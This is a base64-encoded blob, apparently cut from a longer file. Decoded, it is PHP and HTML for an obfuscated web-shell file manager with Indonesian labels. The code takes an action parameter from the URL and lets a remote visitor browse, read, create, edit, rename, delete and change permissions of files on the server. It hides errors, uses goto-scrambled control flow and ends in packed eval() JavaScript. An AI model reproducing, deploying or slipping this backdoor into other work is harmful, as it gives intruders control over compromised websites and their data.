CBlY2hvICI8YSBocmVmPVwiP3A9MmZcIiBjbGFzcz1cImNvbWJldFwiPn48L2E+LyI7CiAgICBnb3RvIENTOwogICAgeGk6CiAgICBpZiAoISgkT2UgPT0gIiIpKSB7CiAgICAgICAgZ290byBzcTsKICAgIH0KICAgIGdvdG8gQ1M7CiAgICBzcToKICAgIGVjaG8gIjxhIGNsYXNzPVwiY29tYmV0XCIgaHJlZj1cIj9wPSI7CiAgICAkbEUgPSAwOwogICAgZGU6CiAgICBpZiAoISgkbEUgPD0gJGozKSkgewogICAgICAgIGdvdG8gaWU7CiAgICB9CiAgICBlY2hvIHNTKCRPcFskbEVdKTsKICAgIGlmICghKCRsRSAhPSAkajMpKSB7CiAgICAgICAgZ290byBzMDsKICAgIH0KICAgIGVjaG8gIjJmIjsKICAgIHMwOgogICAgZGc6CiAgICAkbEUrKzsKICAgIGdvdG8gZGU7CiAgICBpZToKICAgIGVjaG8gIlwiPnskT2V9PC9hPi8iOwogICAgQ1M6Cn0KR286Cj8+IAo8L3NwYW4+PC9saT48L2Rpdj4KPGRpdiBjbGFzcz0idGFibGUtcmVzcG9uc2l2ZSB0ZXh0LWxpZ2h0IiBzdHlsZT0idGV4dC1hbGlnbjogY2VudGVyO2ZvbnQtZmFtaWx5OiBpbmhlcml0O2ZvbnQtc2l6ZTogbGFyZ2U7Ij4KPD9waHAgCmVycm9yX3JlcG9ydGluZygwKTsgCkBpbmlfc2V0KCdkaXNwbGF5X2Vycm9ycycsIDApOyAKCmlmICghaXNzZXQoJF9HRVRbImEiXSkpIHsKICAgIGdvdG8gVW47Cn0KaWYgKCFpc3NldCgkX0dFVFsiYSJdKSkgewogICAgZ290byBjYzsKfQokaW0gPSBKZCgkX0dFVFsiYSJdKTsKY2M6Cj8+Cjw/cGhwIAplcnJvcl9yZXBvcnRpbmcoMCk7IApAaW5pX3NldCgnZGlzcGxheV9lcnJvcnMnLCAwKTsgCgokSmQgPSBnZXRjd2QoKTsKaWYgKCRpbSA9PSAiZGVsZXRlIikgewogICAgJEJMID0gJEpkIC4gIi8iIC4gamQoJF9HRVRbIm4iXSk7CiAgICAKICAgIGlmICgkX0dFVFsidCJdID09ICJkIikgewogICAgICAgIHRGKCRCTCk7CiAgICAgICAgCiAgICAgICAgaWYgKCFmaWxlX2V4aXN0cygkQkwpKSB7CiAgICAgICAgICAgIHhlKCJmb2xkZXIgZGVsZXRlZCBzdWNjZXNzZnVsbHkiKTsKICAgICAgICB9IGVsc2UgewogICAgICAgICAgICBYZSgiZmFpbGVkIHRvIGRlbGV0ZSB0aGUgZm9sZGVyIiwgMCk7CiAgICAgICAgfQogICAgfQogICAgCiAgICBpZiAoJF9HRVRbInQiXSA9PSAiZiIpIHsKICAgICAgICB1bmxpbmsoJEJMKTsKICAgICAgICAKICAgICAgICBpZiAoIWZpbGVfZXhpc3RzKCRCTCkpIHsKICAgICAgICAgICAgeGUoImZpbGUgZGVsZXRlZCBzdWNjZXNzZnVsbHkiKTsKICAgICAgICB9IGVsc2UgewogICAgICAgICAgICBYZSgiZmFpbGVkIHRvIGRlbGV0ZSB0aGUgZmlsZSIsIDApOwogICAgICAgIH0KICAgIH0KfSBlbHNlIHsKICAgIEx1Ogp9Cj8+Cjw/cGhwIAplcnJvcl9yZXBvcnRpbmcoMCk7IApAaW5pX3NldCgnZGlzcGxheV9lcnJvcnMnLCAwKTsgCmVycm9yX3JlcG9ydGluZygwKTsKQGluaV9zZXQoJ2Rpc3BsYXlfZXJyb3JzJywgMCk7CgokSmQgPSBnZXRjd2QoKTsKaWYgKCRpbSA9PSAibmV3RGlyIikgewogICAgZ290byBGZzsKfQppZiAoJGltID09ICJuZXdGaWxlIikgewogICAgZ290byBQYjsKfQppZiAoJGltID09ICJyZW5hbWUiKSB7CiAgICBnb3RvIEx3Owp9CmlmICgkaW0gPT0gImVkaXQiKSB7CiAgICBnb3RvIE94Owp9CmlmICgkaW0gPT0gImNoYW5nZVBlcm1zIikgewogICAgZ290byBDaDsKfQppZiAoJGltID09ICJ2aWV3IikgewogICAgZ290byBBZzsKfQpnb3RvIFdDOwpGZzoKPz4KPGg1IGNsYXNzPSJwLTEgcmFpbmJvdy1ib3JkZXIiIHN0eWxlPSJ0ZXh0LWFsaWduOiBjZW50ZXI7Ij5OYW1hIEZvbGRlciBCYXJ1IDo8L2g1Pgo8Zm9ybSBtZXRob2Q9IlBPU1QiPgogICAgPGRpdiBjbGFzcz0iZm9ybS1ncm91cCI+CiAgICAgICAgPGlucHV0IG5hbWU9ImZvbGRlcl9uYW1lIiBpZD0iZm9sZGVyX25hbWUiIGNsYXNzPSJib3JkZXIgcC0xIiBhdXRvY29tcGxldGU9Im9mZiIgc3R5bGU9InRleHQtYWxpZ246IGNlbnRlcjsiPgogICAgPC9kaXY+CiAgICA8ZGl2IGNsYXNzPSJmb3JtLWdyb3VwIiBzdHlsZT0ibWFyZ2luLXRvcDogMTBweDsiPgogICAgICAgIDxidXR0b24gdHlwZT0ic3VibWl0IiBuYW1lPSJjcmVhdGVfZm9sZGVyIiBjbGFzcz0ib2hjdCIgc3R5bGU9Im1hcmdpbi10b3A6IC4ycmVtOyI+Q3JlYXRlPC9idXR0b24+CiAgICA8L2Rpdj4gCjwvZm9ybT4gCgo8P3BocCAKZXJyb3JfcmVwb3J0aW5nKDApOyAKQGluaV9zZXQoJ2Rpc3BsYXlfZXJyb3JzJywgMCk7IAoKaWYgKGlzc2V0KCRfUE9TVFsiY3JlYXRlX2ZvbGRlciJdKSkgewogICAgJGZvbGRlck5hbWUgPSBiYXNlbmFtZSgkX1BPU1RbImZvbGRlcl9uYW1lIl0pOwogICAgJGZvbGRlclBhdGggPSAieyRKZH0veyRmb2xkZXJOYW1lfSI7CgogICAgaWYgKGZpbGVfZXhpc3RzKCRmb2xkZXJQYXRoKSkgewogICAgICAgIHhFKCJOYW1hIGZvbGRlciB0ZWxhaCBkaWd1bmFrYW4iLCAwLCAiJmE9IiAuIFNTKCJuZXdEaXIiKSk7CiAgICB9IGVsc2UgewogICAgICAgIGlmIChta2RpcigkZm9sZGVyUGF0aCkpIHsKICAgICAgICAgICAgeGUoIkZvbGRlciBiZXJoYXNpbCBkaWJ1YXQiKTsKICAgICAgICB9IGVsc2UgewogICAgICAgICAgICBYZSgiRm9sZGVyIGdhZ2FsIGRpYnVhdCIsIDApOwogICAgICAgIH0KICAgIH0KfQpnb3RvIFdDOwpQYjoKPz4KPGg1IGNsYXNzPSJwLTEgcmFpbmJvdy1ib3JkZXIiPk5hbWEgRmlsZSBCYXJ1OjwvaDU+CiAgICA8Zm9ybSBtZXRob2Q9IlBPU1QiPgogICAgICAgIDxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJuZXdfZmlsZV9uYW1lIiBjbGFzcz0iYm9yZGVyIHAtMSIgc3R5bGU9InRleHQtYWxpZ246IGNlbnRlcjsiPgogICAgICAgIDx0ZXh0YXJlYSBuYW1lPSJmaWxlX2NvbnRlbnQiIGNvbHM9IjMwIiByb3dzPSIxMCIgY2xhc3M9ImZvcm0tY29udHJvbCByYWluYm93LWJvcmRlciI+PC90ZXh0YXJlYT4KICAgICAgICA8YnV0dG9uIHR5cGU9InN1Ym1pdCIgbmFtZT0iY3JlYXRlX2ZpbGUiIGNsYXNzPSJvaGN0IiBzdHlsZT0ibWFyZ2luLXRvcDogLjJyZW07Ij5DcmVhdGU8L2J1dHRvbj4KICAgIDwvZm9ybT4KPD9waHAKZXJyb3JfcmVwb3J0aW5nKDApOwppbmlfc2V0KCdkaXNwbGF5X2Vycm9ycycsIDApOwoKICAgIGlmIChpc3NldCgkX1BPU1RbJ2NyZWF0ZV9maWxlJ10pKSB7CiAgICAkbmV3TmFtZSA9IHRyaW0oJF9QT1NUWyduZXdfZmlsZV9uYW1lJ10pOwogICAgJGNvbnRlbnQgPSAkX1BPU1RbJ2ZpbGVfY29udGVudCddOwogICAgJG5ld0ZpbGVQYXRoID0gcnRyaW0oJEpkLCAiLyIpIC4gIi8iIC4gJG5ld05hbWU7CgogICAgICAgIGlmIChmaWxlX3B1dF9jb250ZW50cygkbmV3RmlsZVBhdGgsICRjb250ZW50KSAhPT0gZmFsc2UpIHsKICAgICAgICAgICAgeGUoIkZpbGUgYmVyaGFzaWwgZGlidWF0IiwgMSwgIiZhPSIgLiBTUygidmlldyIpIC4gIiZuPSIgLiBTcygkbmV3TmFtZSkpOwogICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgIHhFKCJGaWxlIGdhZ2FsIGRpYnVhdCIsIDApOwogICAgICAgIH0KICAgIH0KZ290byBXQzsKTHc6Cj8+CjxoNSBjbGFzcz0icC0xIHJhaW5ib3ctYm9yZGVyIj5SZW5hbWUgRmlsZSA6IDw/PSBqRCgkX0dFVFsibiJdKSA/PjwvaDU+Cjxmb3JtIG1ldGhvZD0iUE9TVCI+CiAgICA8ZGl2IGNsYXNzPSJmb3JtLWdyb3VwIj4KICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibmV3X2ZpbGVfbmFtZSIgaWQ9Im5ld19maWxlX25hbWUiIGNsYXNzPSJib3JkZXIgcC0xIiB2YWx1ZT0iPD89IGpEKCRfR0VUWyJuIl0pID8+IiBzdHlsZT0idGV4dC1hbGlnbjogY2VudGVyOyI+CiAgICA8L2Rpdj4KICAgIDxkaXYgY2xhc3M9ImZvcm0tZ3JvdXAiIHN0eWxlPSJtYXJnaW4tdG9wOiAxMHB4OyI+CiAgICAgICAgPGJ1dHRvbiB0eXBlPSJzdWJtaXQiIG5hbWU9InJlbmFtZV9maWxlIiBjbGFzcz0ib2hjdCIgc3R5bGU9Im1hcmdpbi10b3A6IC4ycmVtOyI+U2F2ZTwvYnV0dG9uPgogICAgPC9kaXY+CjwvZm9ybT4KCjw/cGhwIAplcnJvcl9yZXBvcnRpbmcoMCk7IApAaW5pX3NldCgnZGlzcGxheV9lcnJvcnMnLCAwKTsgCmVycm9yX3JlcG9ydGluZygwKTsKQGluaV9zZXQoJ2Rpc3BsYXlfZXJyb3JzJywgMCk7CgppZiAoaXNzZXQoJF9QT1NUWyJyZW5hbWVfZmlsZSJdKSkgewogICAgJG5ld05hbWUgPSBiYXNlbmFtZSgkX1BPU1RbIm5ld19maWxlX25hbWUiXSk7CiAgICAkb2xkUGF0aCA9ICJ7JEpkfS8iIC4gSkQoJF9HRVRbIm4iXSk7CiAgICAkbmV3UGF0aCA9ICJ7JEpkfS97JG5ld05hbWV9IjsKCiAgICBpZiAocmVuYW1lKCRvbGRQYXRoLCAkbmV3UGF0aCkpIHsKICAgICAgICB4ZSgiQmVyaGFzaWwgbWVuZ3ViYWggbmFtYSBmaWxlIik7CiAgICB9IGVsc2UgewogICAgICAgIFhlKCJHYWdhbCBtZW5ndWJhaCBuYW1hIGZpbGUiLCAwKTsKICAgIH0KfQpnb3RvIFdDOwpPeDoKPz4KPGg1IGNsYXNzPSJwLTEgcmFpbmJvdy1ib3JkZXIiPkVkaXQgRmlsZTogPD89IGpEKCRfR0VUWyJuIl0pID8+PC9oNT4KICAgIDxmb3JtIG1ldGhvZD0iUE9TVCI+CiAgICAgICAgPHRleHRhcmVhIG5hbWU9ImVkaXRlZF9jb250ZW50IiBjb2xzPSIzMCIgcm93cz0iMTAiIGNsYXNzPSJmb3JtLWNvbnRyb2wgcmFpbmJvdy1ib3JkZXIiPjw/PSBmaWxlX2dldF9jb250ZW50cyhqRCgkX0dFVFsibiJdKSkgPz48L3RleHRhcmVhPgogICAgICAgIDxidXR0b24gdHlwZT0ic3VibWl0IiBuYW1lPSJzYXZlX2VkaXQiIGNsYXNzPSJvaGN0IiBzdHlsZT0ibWFyZ2luLXRvcDogLjJyZW07Ij5TaW1wYW48L2J1dHRvbj4KICAgIDwvZm9ybT4KPD9waHAgCmVycm9yX3JlcG9ydGluZygwKTsgCkBpbmlfc2V0KCdkaXNwbGF5X2Vycm9ycycsIDApOyAKCiAgICBpZiAoaXNzZXQoJF9QT1NUWyJzYXZlX2VkaXQiXSkpIHsKICAgICAgICAkZWRpdGVkQ29udGVudCA9ICRfUE9TVFsiZWRpdGVkX2NvbnRlbnQiXTsKICAgICAgICAkZmlsZVBhdGggPSBydHJpbSgkSmQsICIvIikgLiAiLyIgLiBqRCgkX0dFVFsibiJdKTsKCiAgICAgICAgaWYgKGZpbGVfcHV0X2NvbnRlbnRzKCRmaWxlUGF0aCwgJGVkaXRlZENvbnRlbnQpICE9PSBmYWxzZSkgewogICAgICAgICAgICB4ZSgiRmlsZSBiZXJoYXNpbCBkaWVkaXQiLCAxLCAiJmE9IiAuIFNTKCJ2aWV3IikgLiAiJm49IiAuIFNzKGpEKCRfR0VUWyJuIl0pKSk7CiAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgeEUoIkZpbGUgZ2FnYWwgZGllZGl0IiwgMCk7CiAgICAgICAgfQogICAgfQpnb3RvIFdDOwpDaDoKPz4KPGg1IGNsYXNzPSJwLTEgcmFpbmJvdy1ib3JkZXIiPlViYWggSXppbiA6IDw/PSBqRCgkX0dFVFsibiJdKSA/PjwvaDU+Cjxmb3JtIG1ldGhvZD0iUE9TVCI+CiAgICA8ZGl2IGNsYXNzPSJmb3JtLWdyb3VwIj4KPD9waHAgCmVycm9yX3JlcG9ydGluZygwKTsgCkBpbmlfc2V0KCdkaXNwbGF5X2Vycm9ycycsIDApOyAKCiRGMSA9IGpEKCRfR0VUWyJuIl0pOwokY3VycmVudFBlcm1pc3Npb25zID0gc3Vic3RyKHNwcmludGYoJyVvJywgZmlsZXBlcm1zKCRGMSkpLCAtNCk7Cj8+CiAgICAgICAgPGlucHV0IHR5cGU9InRleHQiIG5hbWU9Im5ld19wZXJtaXNzaW9ucyIgaWQ9Im5ld19wZXJtaXNzaW9ucyIgY2xhc3M9ImJvcmRlciBwLTEiIHZhbHVlPSI8P3BocCAKZXJyb3JfcmVwb3J0aW5nKDApOyAKQGluaV9zZXQoJ2Rpc3BsYXlfZXJyb3JzJywgMCk7ICBlY2hvICRjdXJyZW50UGVybWlzc2lvbnM7ID8+IiBzdHlsZT0idGV4dC1hbGlnbjogY2VudGVyOyI+CiAgICA8L2Rpdj4KICAgIDxkaXYgY2xhc3M9ImZvcm0tZ3JvdXAiIHN0eWxlPSJtYXJnaW4tdG9wOiAxMHB4OyI+CiAgICAgICAgPGJ1dHRvbiB0eXBlPSJzdWJtaXQiIG5hbWU9ImNoYW5nZV9wZXJtcyIgY2xhc3M9Im9oY3QiPlViYWggSXppbjwvYnV0dG9uPgogICAgPC9kaXY+CjwvZm9ybT4KCjw/cGhwIAplcnJvcl9yZXBvcnRpbmcoMCk7IApAaW5pX3NldCgnZGlzcGxheV9lcnJvcnMnLCAwKTsgCmVycm9yX3JlcG9ydGluZygwKTsKQGluaV9zZXQoJ2Rpc3BsYXlfZXJyb3JzJywgMCk7CgppZiAoaXNzZXQoJF9QT1NUWyJjaGFuZ2VfcGVybXMiXSkpIHsKICAgICRuZXdQZXJtcyA9ICRfUE9TVFsibmV3X3Blcm1pc3Npb25zIl07CiAgICAkZmlsZVBhdGggPSAieyRKZH0vIiAuIGpEKCRfR0VUWyJuIl0pOwoKICAgIGlmIChjaG1vZCgkZmlsZVBhdGgsIG9jdGRlYygkbmV3UGVybXMpKSkgewogICAgICAgIHhlKCJCZXJoYXNpbCBtZW5ndWJhaCBpemluIik7CiAgICB9IGVsc2UgewogICAgICAgIFhlKCJHYWdhbCBtZW5ndWJhaCBpemluIiwgMCk7CiAgICB9Cn0KZ290byBXQzsKQWc6Cj8+CjxoNSBjbGFzcz0icC0xIHJhaW5ib3ctYm9yZGVyIiBzdHlsZT0idGV4dC1hbGlnbjogY2VudGVyOyI+CiAgICBWaWV3IEZpbGUgTmFtZSA6IDxmb250IGNvbG9yPSJ3aGl0ZSI+PD89IGh0bWxzcGVjaWFsY2hhcnMoakQoJF9HRVRbIm4iXSkpOyA/PjwvZm9udD4KPC9oNT4KPGRpdiBjbGFzcz0iZm9ybS1ncm91cCI+Cjx0ZXh0YXJlYSBuYW1lPSJmaWxlX2NvbnRlbnQiIGlkPSJmaWxlX2NvbnRlbnQiIGNvbHM9IjMwIiByb3dzPSIxMCIgY2xhc3M9ImZvcm0tY29udHJvbCByYWluYm93LWJvcmRlciIgcmVhZG9ubHk+PD9waHAgCmVycm9yX3JlcG9ydGluZygwKTsgCkBpbmlfc2V0KCdkaXNwbGF5X2Vycm9ycycsIDApOyAKZXJyb3JfcmVwb3J0aW5nKDApOwpAaW5pX3NldCgnZGlzcGxheV9lcnJvcnMnLCAwKTsKCiRmaWxlTmFtZXMgPSBqRCgkX0dFVFsibiJdKTsKZWNobyBodG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKCRmaWxlTmFtZXMpKTsKPz48L3RleHRhcmVhPgo8L2Rpdj4KPD9waHAgCmVycm9yX3JlcG9ydGluZygwKTsgCkBpbmlfc2V0KCdkaXNwbGF5X2Vycm9ycycsIDApOyAgV0M6ID8+CjwvZGl2Pgo8P3BocCAKZXJyb3JfcmVwb3J0aW5nKDApOyAKQGluaV9zZXQoJ2Rpc3BsYXlfZXJyb3JzJywgMCk7IApnb3RvIG1SOwpVbjoKPz4KPHRhYmxlIGNsYXNzPSJ0YWJsZSB0YWJsZS1ob3ZlciB0YWJsZS1ib3JkZXJsZXNzIHRhYmxlLXNtIiBzdHlsZT0idGV4dC1hbGlnbjogY2VudGVyO3dpZHRoOiAxMDAlOyI+Cjx0aGVhZCBjbGFzcz0idGV4dC1saWdodCI+Cjx0cj4KPHRoIHN0eWxlPSJ3aWR0aDogNDUlOyI+TmFtZTwvdGg+Cjx0aCBzdHlsZT0id2lkdGg6IDEzJTsiPlNpemU8L3RoPgo8dGggc3R5bGU9IndpZHRoOiAxMyU7Ij5QZXJtaXNzaW9uPC90aD4KPHRoIGNvbHNwYW49IjMiPkFjdGlvbjwvdGg+CjwvdHI+CjwvdGhlYWQ+Cjx0Ym9keSBjbGFzcz0idGV4dC1saWdodCI+IDw/cGhwIAplcnJvcl9yZXBvcnRpbmcoMCk7IApAaW5pX3NldCgnZGlzcGxheV9lcnJvcnMnLCAwKTsgCmVycm9yX3JlcG9ydGluZygwKTsKQGluaV9zZXQoJ2Rpc3BsYXlfZXJyb3JzJywgMCk7CgokRzMgPSAkYzhbNV0oJEczKCRKZCksIFsiLiIsICIuLiJdKTsKZm9yZWFjaCAoJEczIGFzICR5ZikgewogICAgaWYgKCRjOFs2XSgieyRKZH0veyR5Zn0iKSkgewogICAgICAgIGdvdG8gQ0I7CiAgICB9CiAgICBnb3RvIFFqOwogICAgQ0I6CiAgICBlY2hvICIgCjx0cj4KPHRkIHN0eWxlPVwidGV4dC1hbGlnbjogbGVmdDtcIj4KPGkgY2xhc3M9XCJmYSBmYS1mdyBmYS1mb2xkZXItb1wiIHN0eWxlPVwiYm9yZGVyOiAwO3BhZGRpbmc6IDA7d2lkdGg6IDEuMjg1NzE0MjllbTtcIj48L2k+PGEgaHJlZj1cIj9wPSIgLgogICAgICAgIHNTKCJ7JEpkfS97JHlmfSIpIC4KICAgICAgICAiXCIgZGF0YS10b2dnbGU9XCJ0b29sdGlwXCIgZGF0YS1wbGFjZW1lbnQ9XCJhdXRvXCIgdGl0bGU9XCJMYXRlc3QgbW9kaWZ5IG9uICIgLgogICAgICAgICRjOFsxOV0oIlktbS1kIEg6aSIsICRjOFsyMF0oInskSmR9L3skeWZ9IikpIC4KICAgICAgICAiXCI+eyR5Zn08L2E+PC90ZD4KPHRkIHN0eWxlPVwiY29sb3I6IGJsYWNrO1wiPjxzcGFuPjwvc3Bhbj48L3RkPgo8dGQ+CiAgICAgICAgICAgICAgICAgICAgPGEgaHJlZj1cIj9wPSIgLgogICAgICAgICAgICAgICAgICAgICAgICBzUygkSmQpIC4KICAgICAgICAgICAgICAgICAgICAgICAgIiZhPSIgLgogICAgICAgICAgICAgICAgICAgICAgICBzUygiY2hhbmdlUGVybXMiKSAuCiAgICAgICAgICAgICAgICAgICAgICAgICImbj0iIC4KICAgICAgICAgICAgICAgICAgICAgICAgc1MoJHlmKSAuCiAgICAgICAgICAgICAgICAgICAgICAgICJcIiBkYXRhLXRvZ2dsZT1cInRvb2x0aXBcIiBkYXRhLXBsYWNlbWVudD1cImF1dG9cIiB0aXRsZT1cIkNoYW5nZSBQZXJtaXNzaW9uc1wiIGRhdGEtb3JpZ2luYWwtdGl0bGU9XCJDaGFuZ2UgUGVybWlzc2lvbnNcIj48Zm9udCBjb2xvcj1cIiIgLgogICAgICAgICgkYzhbOF0oInskSmR9L3skeWZ9IikKICAgICAgICAgICAgPyAiIzAwZmYwMCIKICAgICAgICAgICAgOiAoISRjOFs5XSgieyRKZH0veyR5Zn0iKQogICAgICAgICAgICAgICAgPyAiI2ZmMDAwMCIKICAgICAgICAgICAgICAgIDogbnVsbCkpIC4KICAgICAgICAiXCI+IiAuCiAgICAgICAgUk4oInskSmR9L3skeWZ9IikgLgogICAgICAgICI8L2ZvbnQ+PC9hPgogICAgICAgICAgICAgICAgPC90ZD4KPHRkIHN0eWxlPVwiY29sb3I6IGJsYWNrO3dpZHRoOiA5LjUlO1wiPjxzcGFuPjwvc3Bhbj48L3RkPgo8dGQ+CjxhIGhyZWY9XCI/cD0iIC4KICAgICAgICBzcygkSmQpIC4KICAgICAgICAiJmE9IiAuCiAgICAgICAgc3MoInJlbmFtZSIpIC4KICAgICAgICAiJm49IiAuCiAgICAgICAgc3MoJHlmKSAuCiAgICAgICAgIiZ0PWRcIiBkYXRhLXRvZ2dsZT1cInRvb2x0aXBcIiBkYXRhLXBsYWNlbWVudD1cImF1dG9cIiB0aXRsZT1cIlJlbmFtZVwiPlJlbmFtZTwvYT4KPC90ZD4KPHRkPgo8YSBocmVmPVwiP3A9IiAuCiAgICAgICAgc1MoJEpkKSAuCiAgICAgICAgIiZhPSIgLgogICAgICAgIHNzKCJkZWxldGUiKSAuCiAgICAgICAgIiZuPSIgLgogICAgICAgIHNzKCR5ZikgLgogICAgICAgICJcIiBjbGFzcz1cImRlbGV0ZVwiIGRhdGEtdHlwZT1cImZvbGRlclwiIGRhdGEtdG9nZ2xlPVwidG9vbHRpcFwiIGRhdGEtcGxhY2VtZW50PVwiYXV0b1wiIHRpdGxlPVwiRGVsZXRlXCI+RGVsZXRlPC9hPgo8L3RkPgo8L3RyPiI7CiAgICBRajoKfQphZDoKZm9yZWFjaCAoJEczIGFzICRGMSkgewogICAgaWYgKCRjOFs3XSgieyRKZH0veyRGMX0iKSkgewogICAgICAgIGdvdG8gd0E7CiAgICB9CiAgICBnb3RvIFgxOwogICAgd0E6CiAgICAka0wgPSAkYzhbMTBdKCJ7JEpkfS97JEYxfSIpIC8gMTAyNDsKICAgICRrTCA9IHJvdW5kKCRrTCwgMyk7CiAgICAka0wgPSAka0wgPiAxMDI0ID8gcm91bmQoJGtMIC8gMTAyNCwgMikgLiAiICBNQiIgOiAka0wgLiAiICBLQiI7CiAgICBlY2hvICIKPHRyPgo8dGQgc3R5bGU9XCJ0ZXh0LWFsaWduOiBsZWZ0O1wiPgo8aSBjbGFzcz1cImZhIGZhLWZ3IGZhLWZpbGUtb1wiIHN0eWxlPVwiYm9yZGVyOiAwO3BhZGRpbmc6IDA7d2lkdGg6IDEuMjg1NzE0MjllbTtcIj48L2k+PGEgaHJlZj1cIj9wPSIgLgogICAgICAgIFNTKCRKZCkgLgogICAgICAgICImYT0iIC4KICAgICAgICBzUygidmlldyIpIC4KICAgICAgICAiJm49IiAuCiAgICAgICAgU1MoJEYxKSAuCiAgICAgICAgIlwiIGRhdGEtdG9nZ2xlPVwidG9vbHRpcFwiIGRhdGEtcGxhY2VtZW50PVwiYXV0b1wiIHRpdGxlPVwiTGF0ZXN0IG1vZGlmeSBvbiAiIC4KICAgICAgICAkYzhbMTldKCJZLW0tZCBIOmkiLCAkYzhbMjBdKCJ7JEpkfS97JEYxfSIpKSAuCiAgICAgICAgIlwiPnskRjF9PC9hPjwvdGQ+Cjx0ZD48c3Bhbj57JGtMfTwvc3Bhbj48L3RkPgo8dGQ+CiAgICAgICAgICAgICAgICAgICAgPGEgaHJlZj1cIj9wPSIgLgogICAgICAgICAgICAgICAgICAgICAgICBTUygkSmQpIC4KICAgICAgICAgICAgICAgICAgICAgICAgIiZhPSIgLgogICAgICAgICAgICAgICAgICAgICAgICBzUygiY2hhbmdlUGVybXMiKSAuCiAgICAgICAgICAgICAgICAgICAgICAgICImbj0iIC4KICAgICAgICAgICAgICAgICAgICAgICAgU1MoJEYxKSAuCiAgICAgICAgICAgICAgICAgICAgICAgICJcIiBkYXRhLXRvZ2dsZT1cInRvb2x0aXBcIiBkYXRhLXBsYWNlbWVudD1cImF1dG9cIiB0aXRsZT1cIkNoYW5nZSBQZXJtaXNzaW9uc1wiIGRhdGEtb3JpZ2luYWwtdGl0bGU9XCJDaGFuZ2UgUGVybWlzc2lvbnNcIj48Zm9udCBjb2xvcj1cIiIgLgogICAgICAgICgkYzhbOF0oInskSmR9L3skRjF9IikKICAgICAgICAgICAgPyAiIzAwZmYwMCIKICAgICAgICAgICAgOiAoISRjOFs5XSgieyRKZH0veyRGMX0iKQogICAgICAgICAgICAgICAgPyAiI2ZmMDAwMCIKICAgICAgICAgICAgICAgIDogbnVsbCkpIC4KICAgICAgICAiXCI+IiAuCiAgICAgICAgck4oInskSmR9L3skRjF9IikgLgogICAgICAgICI8L2ZvbnQ+PC9hPgogICAgICAgICAgICAgICAgPC90ZD4KPHRkPjxhIGhyZWY9XCI/cD0iIC4KICAgICAgICBTcygkSmQpIC4KICAgICAgICAiJmE9IiAuCiAgICAgICAgU3MoImVkaXQiKSAuCiAgICAgICAgIiZuPSIgLgogICAgICAgIFNTKCRGMSkgLgogICAgICAgICJcIiBkYXRhLXRvZ2dsZT1cInRvb2x0aXBcIiBkYXRhLXBsYWNlbWVudD1cImF1dG9cIiB0aXRsZT1cIkVkaXRcIj5FZGl0PC9hPjwvdGQ+Cjx0ZD48YSBocmVmPVwiP3A9IiAuCiAgICAgICAgc3MoJEpkKSAuCiAgICAgICAgIiZhPSIgLgogICAgICAgIFNTKCJyZW5hbWUiKSAuCiAgICAgICAgIiZuPSIgLgogICAgICAgIHNzKCRGMSkgLgogICAgICAgICImdD1mXCIgZGF0YS10b2dnbGU9XCJ0b29sdGlwXCIgZGF0YS1wbGFjZW1lbnQ9XCJhdXRvXCIgdGl0bGU9XCJSZW5hbWVcIj5SZW5hbWU8L2E+PC90ZD4KPHRkPjxhIGhyZWY9XCI/cD0iIC4KICAgICAgICBzcygkSmQpIC4KICAgICAgICAiJmE9IiAuCiAgICAgICAgc1MoImRlbGV0ZSIpIC4KICAgICAgICAiJm49IiAuCiAgICAgICAgc3MoJEYxKSAuCiAgICAgICAgIlwiIGNsYXNzPVwiZGVsZXRlXCIgZGF0YS10eXBlPVwiZmlsZVwiIGRhdGEtdG9nZ2xlPVwidG9vbHRpcFwiIGRhdGEtcGxhY2VtZW50PVwiYXV0b1wiIHRpdGxlPVwiRGVsZXRlXCI+RGVsZXRlPC9hPjwvdGQ+CjwvdHI+IjsKICAgIFgxOgp9CmEyOgo/PiAKPC90Ym9keT4KPC90YWJsZT4KPD9waHAgCmVycm9yX3JlcG9ydGluZygwKTsgCkBpbmlfc2V0KCdkaXNwbGF5X2Vycm9ycycsIDApOyAgbVI6ID8+IAo8L2Rpdj4KPHNjcmlwdCBzcmM9Ii8vY29kZS5qcXVlcnkuY29tL2pxdWVyeS0zLjUuMS5zbGltLm1pbi5qcyI+PC9zY3JpcHQ+CjxzY3JpcHQgc3JjPSIvL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL2Jvb3RzdHJhcEA0LjYuMC9kaXN0L2pzL2Jvb3RzdHJhcC5idW5kbGUubWluLmpzIiA+PC9zY3JpcHQ+CjxzY3JpcHQgc3JjPSIvL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL2JzLWN1c3RvbS1maWxlLWlucHV0L2Rpc3QvYnMtY3VzdG9tLWZpbGUtaW5wdXQubWluLmpzIj48L3NjcmlwdD4KPHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPmV2YWwoZnVuY3Rpb24ocCxhLGMsayxlLGQpe2U9ZnVuY3Rpb24oYyl7cmV0dXJuKGM8YT8nJzplKHBhcnNlSW50KGMvYSkpKSsoKGM9YyVhKT4zNT9TdHJpbmcuZnJvbUNoYXJDb2RlKGMrMjkpOmMudG9TdHJpbmcoMzYpKX07aWYoIScnLnJlcGxhY2UoL14vLFN0cmluZykpe3doaWxlKGMtLSl7ZFtlKGMpXT1rW2NdfHxlKGMpfWs9W2Z1bmN0aW9uKGUpe3JldHVybiBkW2VdfV07ZT1mdW5jdGlvbigpe3JldHVybidcXHcrJ307Yz0xfTt3aGlsZShjLS0pe2lmKGtbY10pe3A9cC5yZXBsYWNlKG5ldyBSZWdFeHAoJ1xcYicrZShjKSsnXFxiJywnZycpLGtbY10pfX1yZXR1cm4gcH0oJ0UubigpOyQoXCdbMi1tPSI0Il1cJykuNCgpOyQoIi5sIikuayhqKGUpe2UuZygpO2ggMD0kKDYpLjUoIjItMCIpO2Moe2I6ImEiLDk6Im8gaSBxPyIsdzoiRCAiKzArIiBwIEMgQiIsQTo3LHo6Nyx9KS55KCg4KT0+e3IoOCl7eCAxPSQoNikuNSgiMyIpKyImdD0iKygoMD09InYiKT8iZCI6ImYiKTt1LnMuMz0xfX0pfSk7Jyw0MSw0MSwndHlwZXxidWlsZFVSTHxkYXRhfGhyZWZ8dG9vbHRpcHxhdHRyfHRoaXN8dHJ1ZXx3aWxsRGVsZXRlfHRpdGxlfHdhcm5pbmd